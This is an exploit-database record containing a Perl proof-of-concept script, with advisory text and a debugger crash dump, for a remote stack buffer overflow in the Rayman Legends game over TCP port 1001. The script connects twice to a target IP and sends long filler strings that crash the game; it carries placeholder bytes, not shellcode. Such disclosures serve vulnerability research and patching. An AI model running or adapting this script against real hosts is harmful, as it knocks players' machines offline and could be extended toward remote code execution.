{"type": "zdt", "lastseen": "2016-04-19T23:42:05", "bulletinFamily": "exploit", "cvelist": [], "history": [], "title": "Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability", "published": "2014-06-18T00:00:00", "href": "http://0day.today/exploit/description/22343", "cvss": {"vector": "NONE", "score": 0}, "description": "Exploit for windows platform in category dos / poc", "hash": "ecdff4f9459184f121631e7c238a5add40b2fd7059b6110fbb8c61678ee9cbf6", "references": [], "objectVersion": "1.0", "edition": 1, "sourceData": "#!/usr/bin/perl\r\n#\r\n#\r\n# Ubisoft Rayman Legends v1.2.103716 Remote Stack Buffer Overflow Vulnerability\r\n#\r\n#\r\n# Vendor: Ubisoft Entertainment S.A.\r\n# Product web page: http://www.ubi.com\r\n# Affected version: 1.2.103716, 1.1.100477 and 1.0.95278\r\n#\r\n# Summary: Rayman Legends is a 2013 platform game developed by Ubisoft\r\n# Montpellier and published by Ubisoft. It is the fifth main title in\r\n# the Rayman series and the direct sequel to the 2011 game Rayman Origins.\r\n# The game was released for Microsoft Windows, Xbox 360, PlayStation 3,\r\n# Wii U, and PlayStation Vita platforms in August and September 2013.\r\n# PlayStation 4 and Xbox One versions were released in February 2014.\r\n#\r\n# Desc: The vulnerability is caused due to a memset() boundary error in the\r\n# processing of incoming data thru raw socket connections on TCP port 1001,\r\n# which can be exploited to cause a stack based buffer overflow by sending a\r\n# long string of bytes on the second connection. Successful exploitation could\r\n# allow execution of arbitrary code on the affected node.\r\n#\r\n# ===========================================================================\r\n#\r\n# (15a8.f0c): Access violation - code c0000005 (first chance)\r\n# First chance exceptions are reported before any exception handling.\r\n# This exception may be expected and handled.\r\n# eax=aaaaaaaa ebx=096494a0 ecx=10909090 edx=00000002 esi=1c1bde90 edi=00000000\r\n# eip=715e26df esp=0f16dcec ebp=0f16dd14 iopl=0 nv up ei pl nz na pe cy\r\n# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207\r\n# MSVCR100!memset+0x5f:\r\n# 715e26df f3ab rep stos dword ptr es:[edi]\r\n# 0:028> d esp\r\n# 0f16dcec 42 42 42 42 64 00 a6 00-00 00 00 00 aa 00 00 00 BBBBd...........\r\n# 0f16dcfc 42 42 42 42 42 42 42 42-22 00 00 00 50 42 4b 1c BBBBBBBB\"...PBK.\r\n# 0f16dd0c 90 43 0f 08 01 00 00 00-28 dd 16 0f 04 02 a6 00 .C......(.......\r\n# 0f16dd1c 50 42 4b 1c 6c dd 16 0f-d8 03 00 00 4c fd 16 0f PBK.l.......L...\r\n# 0f16dd2c e3 f9 a5 00 48 dd 16 0f-fc 03 00 00 3c 1d f7 07 ....H.......<...\r\n# 0f16dd3c 3c 1d f7 07 fb 14 db 75-fc 03 00 00 41 41 41 41 <......u....AAAA\r\n# 0f16dd4c 41 41 41 41 41 41 41 41-41 41 41 41 42 42 42 42 AAAAAAAAAAAABBBB\r\n# 0f16dd5c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC\r\n#\r\n# ===========================================================================\r\n#\r\n#\r\n# Tested on: Microsoft Windows 7 Professional SP1 (EN)\r\n# Microsoft Windows 7 Ultimate SP1 (EN)\r\n#\r\n#\r\n# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic\r\n# @zeroscience\r\n#\r\n#\r\n# Advisory ID: ZSL-2014-5187\r\n# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5187.php\r\n#\r\n#\r\n# 22.05.2014\r\n#\r\n#\r\n \r\nuse IO::Socket;\r\n \r\nprint\r\n \"\r\n @****************************************@\r\n | |\r\n | Ubisoft Rayman Legends BoF PoC Script |\r\n | |\r\n | ZSL-2014-5187 |\r\n | |\r\n @****************************************@\r\n \";\r\n \r\n$ip=\"$ARGV[0]\";\r\n \r\nif($#ARGV!=0)\r\n{\r\n print \"\\n\\n\\x20\\x20\\x1c\\x20Usage: $0 <ipaddr>\\n\\n\";\r\n exit();\r\n}\r\n \r\nprint \"\\n\\x20\\x1c\\x20Target: $ip\\n\";\r\nprint \"\\x20\\x1c\\x20Initiating first connection\\n\";\r\n \r\nsleep 2;\r\n$conn1=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>1001,Proto=>'tcp');\r\nif(!$conn1)\r\n{\r\n print \"\\n\\x20*** Connection error!\\n\";\r\n exit();\r\n} else\r\n {\r\n print \"\\x20\\x1c\\x20Connection established\\n\";\r\n }\r\n \r\nprint $conn1 \"\\x44\"x36;\r\nprint $conn1 \"\\x45\\x45\\x45\\x45\";\r\nprint $conn1 \"\\x46\"x2000; # SC contain\r\nprint \"\\x20\\x1c\\x20Payload sent\\n\";\r\nclose $conn1;\r\nprint \"\\x20\\x1c\\x20First stage completed\\n\\x20\\x1c\\n\";\r\nprint \"\\x20\\x1c\\x20Initiating second connection\\n\";\r\n \r\nsleep 2;\r\n$conn2=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>1001,Proto=>'tcp');\r\nif(!$conn2)\r\n{\r\n print \"\\n\\x20*** Connection error!\\n\";\r\n exit();\r\n} else\r\n {\r\n print \"\\x20\\x1c\\x20Connection established\\n\";\r\n }\r\n \r\nprint $conn2 \"\\x41\" x 16;\r\nprint $conn2 \"\\x42\\x42\\x42\\x42\"; # ESP ->\r\nprint $conn2 \"\\x43\"x1000; # SC contain\r\nprint \"\\x20\\x1c\\x20Payload sent\\n\";\r\nprint \"\\x20\\x1c\\x20Second stage completed\\n\";\r\nclose $conn2;\r\nprint \"\\x20\\x1c\\x20t00t!\\n\";\n\n# 0day.today [2016-04-19] #", "id": "1337DAY-ID-22343", "sourceHref": "http://0day.today/exploit/22343", "modified": "2014-06-18T00:00:00", "reporter": "LiquidWorm", "enchantments": {"vulnersScore": 5.5}}

{"result": {}}